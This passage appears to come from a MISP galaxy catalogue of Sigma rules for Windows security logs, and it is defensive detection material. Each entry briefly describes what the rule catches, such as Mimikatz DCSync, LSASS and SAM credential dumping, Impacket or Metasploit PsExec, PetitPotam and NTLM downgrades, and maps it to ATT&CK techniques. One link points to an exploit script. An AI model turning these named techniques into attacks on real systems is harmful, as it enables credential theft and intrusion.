https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_ldap_dataexchange.yml

Azure AD Health Service Agents Registry Keys Access

This detection uses Windows security events to detect suspicious access attempts to the registry key values and sub-keys of Azure AD Health service agents (e.g AD FS). Information from AD Health service agents can be used to potentially abuse some of the features provided by those services in the cloud (e.g. Federation). This detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object: HKLM:\SOFTWARE\Microsoft\ADHealthAgent. Make sure you set the SACL to propagate to its sub-keys.

The tag is: *misp-galaxy:sigma-rules="Azure AD Health Service Agents Registry Keys Access"*

View relationships graph

Azure AD Health Service Agents Registry Keys Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 16198. Table References

Links
https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_service_agent.yml
https://o365blog.com/post/hybridhealthagent/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_svc_agent_regkey_access.yml

Transferring Files with Credential Data via Network Shares

Transferring files with well-known filenames (sensitive files with credential data) using network shares

The tag is: *misp-galaxy:sigma-rules="Transferring Files with Credential Data via Network Shares"*

View relationships graph

Transferring Files with Credential Data via Network Shares has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 16199. Table References

Links
https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_transf_files_with_cred_data_via_network_shares.yml

A New Trust Was Created To A Domain

Addition of domains is seldom and should be verified for legitimacy.

The tag is: *misp-galaxy:sigma-rules="A New Trust Was Created To A Domain"*

View relationships graph

A New Trust Was Created To A Domain has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 16200. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4706
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_add_domain_trust.yml

Potential Secure Deletion with SDelete

Detects files that have extensions commonly seen while SDelete is used to wipe files.

The tag is: *misp-galaxy:sigma-rules="Potential Secure Deletion with SDelete"*

View relationships graph

Potential Secure Deletion with SDelete has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"

Table 16201. Table References

Links
https://jpcertcc.github.io/ToolAnalysisResultSheet/details/sdelete.htm
https://learn.microsoft.com/en-gb/sysinternals/downloads/sdelete
https://www.jpcert.or.jp/english/pub/sr/ir_research.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sdelete_potential_secure_deletion.yml

Credential Dumping Tools Service Execution - Security

Detects well-known credential dumping tools execution via service execution events

The tag is: *misp-galaxy:sigma-rules="Credential Dumping Tools Service Execution - Security"*

View relationships graph

Credential Dumping Tools Service Execution - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16202. Table References

Links
https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_creddumper.yml

VSSAudit Security Event Source Registration

Detects the registration of the security event source VSSAudit. It would usually trigger when volume shadow copy operations happen.

The tag is: *misp-galaxy:sigma-rules="VSSAudit Security Event Source Registration"*

View relationships graph

VSSAudit Security Event Source Registration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"

Table 16203. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_vssaudit_secevent_source_registration.yml

Metasploit Or Impacket Service Installation Via SMB PsExec

Detects usage of Metasploit SMB PsExec (exploit/windows/smb/psexec) and Impacket psexec.py by triggering on specific service installation

The tag is: *misp-galaxy:sigma-rules="Metasploit Or Impacket Service Installation Via SMB PsExec"*

View relationships graph

Metasploit Or Impacket Service Installation Via SMB PsExec has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-

language:likelihood-probability="almost-certain"

Table 16204. Table References

Links
https://bczyz1.github.io/2021/01/30/psexec.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_or_impacket_smb_psexec_service_install.yml

Enabled User Right in AD to Control User Objects

Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow control of other AD user objects.

The tag is: *misp-galaxy:sigma-rules="Enabled User Right in AD to Control User Objects"*

View relationships graph

Enabled User Right in AD to Control User Objects has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 16205. Table References

Links
https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_active_directory_user_control.yml

Mimikatz DC Sync

Detects Mimikatz DC sync security events

The tag is: *misp-galaxy:sigma-rules="Mimikatz DC Sync"*

View relationships graph

Mimikatz DC Sync has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"

Table 16206. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4662

https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2
https://twitter.com/gentilkiwi/status/1003236624925413376
https://blog.blacklanternsecurity.com/p/detecting-dcsync?s=r
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcsync.yml

WCE wceaux.dll Access

Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host

The tag is: *misp-galaxy:sigma-rules="WCE wceaux.dll Access"*

View relationships graph

WCE wceaux.dll Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 16207. Table References

Links
https://jpcertcc.github.io/ToolAnalysisResultSheet
https://www.jpcert.or.jp/english/pub/sr/ir_research.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_wceaux_dll.yml

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security

Detects Obfuscated Powershell via VAR++ LAUNCHER

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security"*

View relationships graph

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16208. Table References

Links

https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_var_services_security.yml

Denied Access To Remote Desktop

This event is generated when an authenticated user who is not allowed to log on remotely attempts to connect to this computer through Remote Desktop. Often, this event can be generated by attackers when searching for available windows servers in the network.

The tag is: *misp-galaxy:sigma-rules="Denied Access To Remote Desktop"*

View relationships graph

Denied Access To Remote Desktop has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

Table 16209. Table References

Links
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4825
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_not_allowed_rdp_access.yml

Password Dumper Activity on LSASS

Detects process handle on LSASS process with certain access mask and object type SAM_DOMAIN

The tag is: *misp-galaxy:sigma-rules="Password Dumper Activity on LSASS"*

View relationships graph

Password Dumper Activity on LSASS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16210. Table References

Links
https://twitter.com/jackcr/status/807385668833968128
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump.yml

SAM Registry Hive Handle Request

Detects handles requested to SAM registry hive

The tag is: *misp-galaxy:sigma-rules="SAM Registry Hive Handle Request"*

View relationships graph

SAM Registry Hive Handle Request has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"

Table 16211. Table References

Links
https://threathunterplaybook.com/hunts/windows/190725-SAMRegistryHiveHandleRequest/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_sam_registry_hive_handle_request.yml

Access To ADMIN$ Network Share

Detects access to ADMIN$ network share

The tag is: *misp-galaxy:sigma-rules="Access To ADMIN$ Network Share"*

View relationships graph

Access To ADMIN$ Network Share has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 16212. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-5140
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_share_access.yml

Invoke-Obfuscation VAR+ Launcher - Security

Detects Obfuscated use of Environment Variables to execute PowerShell

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation VAR+ Launcher - Security"*

View relationships graph

Invoke-Obfuscation VAR+ Launcher - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16213. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_var_services_security.yml

SysKey Registry Keys Access

Detects handle requests and access operations to specific registry keys to calculate the SysKey

The tag is: *misp-galaxy:sigma-rules="SysKey Registry Keys Access"*

View relationships graph

SysKey Registry Keys Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

Table 16214. Table References

Links
https://threathunterplaybook.com/hunts/windows/190625-RegKeyAccessSyskey/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_syskey_registry_access.yml

Invoke-Obfuscation Via Use Clip - Security

Detects Obfuscated Powershell via use Clip.exe in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Clip - Security"*

View relationships graph

Invoke-Obfuscation Via Use Clip - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with

estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16215. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_clip_services_security.yml

Powerview Add-DomainObjectAcl DCSync AD Extend Right

Backdooring domain object to grant the rights associated with DCSync to a regular user or machine account using Powerview\Add-DomainObjectAcl DCSync Extended Right cmdlet, will allow to re-obtain the pwd hashes of any user/computer

The tag is: *misp-galaxy:sigma-rules="Powerview Add-DomainObjectAcl DCSync AD Extend Right"*

View relationships graph

Powerview Add-DomainObjectAcl DCSync AD Extend Right has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 16216. Table References

Links
https://twitter.com/menasec1/status/1111556090137903104
https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_backdoor_dcsync_rights.yml

Device Installation Blocked

Detects an installation of a device that is forbidden by the system policy

The tag is: *misp-galaxy:sigma-rules="Device Installation Blocked"*

View relationships graph

Device Installation Blocked has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200" with estimative-language:likelihood-probability="almost-certain"

Table 16217. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-6423
https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_device_installation_blocked.yml

Important Scheduled Task Deleted/Disabled

Detects when adversaries stop services or processes by deleting or disabling their respective scheduled tasks in order to conduct data destructive activities

The tag is: *misp-galaxy:sigma-rules="Important Scheduled Task Deleted/Disabled"*

View relationships graph

Important Scheduled Task Deleted/Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 16218. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4701
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4699
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_scheduled_task_delete_or_disable.yml

Password Policy Enumerated

Detects when the password policy is enumerated.

The tag is: *misp-galaxy:sigma-rules="Password Policy Enumerated"*

View relationships graph

Password Policy Enumerated has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"

Table 16219. Table References

Links
https://github.com/jpalanco/alienvault-ossim/blob/f74359c0c027e42560924b5cff25cdf121e5505a/ossim/agent/src/ParserUtil.py#L951
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4661
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_password_policy_enumerated.yml

Failed Code Integrity Checks

Detects code integrity failures such as missing page hashes or corrupted drivers due unauthorized modification. This could be a sign of tampered binaries.

The tag is: *misp-galaxy:sigma-rules="Failed Code Integrity Checks"*

View relationships graph

Failed Code Integrity Checks has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"

Table 16220. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-6281
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-5038
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_codeintegrity_check_failure.yml

Invoke-Obfuscation Via Use Rundll32 - Security

Detects Obfuscated Powershell via use Rundll32 in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Rundll32 - Security"*

View relationships graph

Invoke-Obfuscation Via Use Rundll32 - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-

language:likelihood-probability="almost-certain"

Table 16221. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_rundll32_services_security.yml

Win Susp Computer Name Containing Samtheadmin

Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool

The tag is: *misp-galaxy:sigma-rules="Win Susp Computer Name Containing Samtheadmin"*

View relationships graph

Win Susp Computer Name Containing Samtheadmin has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 16222. Table References

Links
https://github.com/helloexp/0day/blob/614227a7b9beb0e91e7e2c6a5e532e6f7a8e883c/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py
https://twitter.com/malmoeb/status/1511760068743766026
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_computer_name.yml

Possible PetitPotam Coerce Authentication Attempt

Detect PetitPotam coerced authentication activity.

The tag is: *misp-galaxy:sigma-rules="Possible PetitPotam Coerce Authentication Attempt"*

View relationships graph

Possible PetitPotam Coerce Authentication Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"

Table 16223. Table References

Links
https://github.com/topotam/PetitPotam

https://github.com/splunk/security_content/blob/0dd6de32de2118b2818550df9e65255f4109a56d/detections/endpoint/petitpotam_network_share_access_request.yml
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_network_share.yml

Windows Defender Exclusion List Modified

Detects modifications to the Windows Defender exclusion registry key. This could indicate a potentially suspicious or even malicious activity by an attacker trying to add a new exclusion in order to bypass security.

The tag is: *misp-galaxy:sigma-rules="Windows Defender Exclusion List Modified"*

View relationships graph

Windows Defender Exclusion List Modified has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16224. Table References

Links
https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_windows_defender_exclusions_registry_modified.yml

Potential Privileged System Service Operation - SeLoadDriverPrivilege

Detects the usage of the 'SeLoadDriverPrivilege' privilege. This privilege is required to load or unload a device driver. With this privilege, the user can dynamically load and unload device drivers or other code in to kernel mode. This user right does not apply to Plug and Play device drivers. If you exclude privileged users/admins and processes, which are allowed to do so, you are maybe left with bad programs trying to load malicious kernel drivers. This will detect Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs) and the usage of Sysinternals and various other tools. So you have to work with a whitelist to find the bad stuff.

The tag is: *misp-galaxy:sigma-rules="Potential Privileged System Service Operation - SeLoadDriverPrivilege"*

View relationships graph

Potential Privileged System Service Operation - SeLoadDriverPrivilege has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with

estimative-language:likelihood-probability="almost-certain"

Table 16225. Table References

Links
https://web.archive.org/web/20230331181619/https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4673
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_driver_loaded.yml

Hacktool Ruler

This events that are generated when using the hacktool Ruler by Sensepost

The tag is: *misp-galaxy:sigma-rules="Hacktool Ruler"*

View relationships graph

Hacktool Ruler has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

Table 16226. Table References

Links
https://github.com/sensepost/ruler
https://github.com/staaldraad/go-ntlm/blob/cd032d41aa8ce5751c07cb7945400c0f5c81e2eb/ntlm/ntlmv1.go#L427
https://github.com/sensepost/ruler/issues/47
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4776
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ruler.yml

NetNTLM Downgrade Attack

Detects NetNTLM downgrade attack

The tag is: *misp-galaxy:sigma-rules="NetNTLM Downgrade Attack"*

View relationships graph

NetNTLM Downgrade Attack has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 16227. Table References

Links
https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_net_ntlm_downgrade.yml

Password Protected ZIP File Opened (Email Attachment)

Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.

The tag is: *misp-galaxy:sigma-rules="Password Protected ZIP File Opened (Email Attachment)"*

View relationships graph

Password Protected ZIP File Opened (Email Attachment) has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 16228. Table References

Links
https://twitter.com/sbousseaden/status/1523383197513379841
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_outlook.yml

AD Privileged Users or Groups Reconnaissance

Detect priv users or groups recon based on 4661 eventid and known privileged users or groups SIDs

The tag is: *misp-galaxy:sigma-rules="AD Privileged Users or Groups Reconnaissance"*

View relationships graph

AD Privileged Users or Groups Reconnaissance has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

Table 16229. Table References

Links
https://web.archive.org/web/20230329163438/https://blog.menasec.net/2019/02/threat-hunting-5-detecting-enumeration.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_account_discovery.yml

Potentially Suspicious AccessMask Requested From LSASS

Detects process handle on LSASS process with certain access mask

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious AccessMask Requested From LSASS"*

View relationships graph

Potentially Suspicious AccessMask Requested From LSASS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 16230. Table References

Links
https://web.archive.org/web/20230208123920/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html
https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump_generic.yml

User Added to Local Administrator Group

Detects the addition of a new member to the local administrator group, which could be legitimate activity or a sign of privilege escalation activity

The tag is: *misp-galaxy:sigma-rules="User Added to Local Administrator Group"*

View relationships graph

User Added to Local Administrator Group has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 16231. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4732
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_added_to_local_administrators.yml

Invoke-Obfuscation Obfuscated IEX Invocation - Security

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Obfuscated IEX Invocation - Security"*

View relationships graph

Invoke-Obfuscation Obfuscated IEX Invocation - Security has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 16232. Table References

Links
https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_obfuscated_iex_services_security.yml

Suspicious Scheduled Task Update

Detects update to a scheduled task event that contain suspicious keywords.

The tag is: *misp-galaxy:sigma-rules="Suspicious Scheduled Task Update"*

View relationships graph

Suspicious Scheduled Task Update has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 16233. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4698
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_scheduled_task_update.yml

Important Windows Event Auditing Disabled

Detects scenarios where system auditing for important events such as "Process Creation" or "Logon" events is disabled.

The tag is: *misp-galaxy:sigma-rules="Important Windows Event Auditing Disabled"*

View relationships graph

Important Windows Event Auditing Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

Table 16234. Table References

Links
https://docs.google.com/presentation/d/1dkrldTTlN3La-OjWtkWJBb4hVk6vfsSMBFBERs6R8zA/edit
https://github.com/SigmaHQ/sigma/blob/ad1bfd3d28aa0ccc9656240f845022518ef65a2e/documentation/logsource-guides/windows/service/security.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_disable_event_auditing_critical.yml

SCM Database Handle Failure

Detects non-system users failing to get a handle of the SCM database.

The tag is: *misp-galaxy:sigma-rules="SCM Database Handle Failure"*

View relationships graph

SCM Database Handle Failure has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

Table 16235. Table References

Links
https://threathunterplaybook.com/hunts/windows/190826-RemoteSCMHandle/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scm_database_handle_failure.yml

Successful Account Login Via WMI

Detects successful logon attempts performed with WMI

The tag is: *misp-galaxy:sigma-rules="Successful Account Login Via WMI"*

View relationships graph

Successful Account Login Via WMI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 16236. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_susp_wmi_login.yml

RottenPotato Like Attack Pattern

Detects logon events that have characteristics of events generated during an attack with RottenPotato and the like

The tag is: *misp-galaxy:sigma-rules="RottenPotato Like Attack Pattern"*

View relationships graph

RottenPotato Like Attack Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001" with estimative-language:likelihood-probability="almost-certain"

Table 16237. Table References

Links
https://twitter.com/SBousseaden/status/1195284233729777665
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_susp_rottenpotato.yml

External Remote SMB Logon from Public IP

Detects successful logon from public IP address via SMB. This can indicate a publicly-exposed SMB port.

The tag is: *misp-galaxy:sigma-rules="External Remote SMB Logon from Public IP"*

View relationships graph

External Remote SMB Logon from Public IP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 16238. Table References

Links
https://www.inversecos.com/2020/04/successful-4624-anonymous-logons-to.html
https://twitter.com/Purp1eW0lf/status/1616144561965002752
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_successful_external_remote_smb_login.yml

RDP Login from Localhost

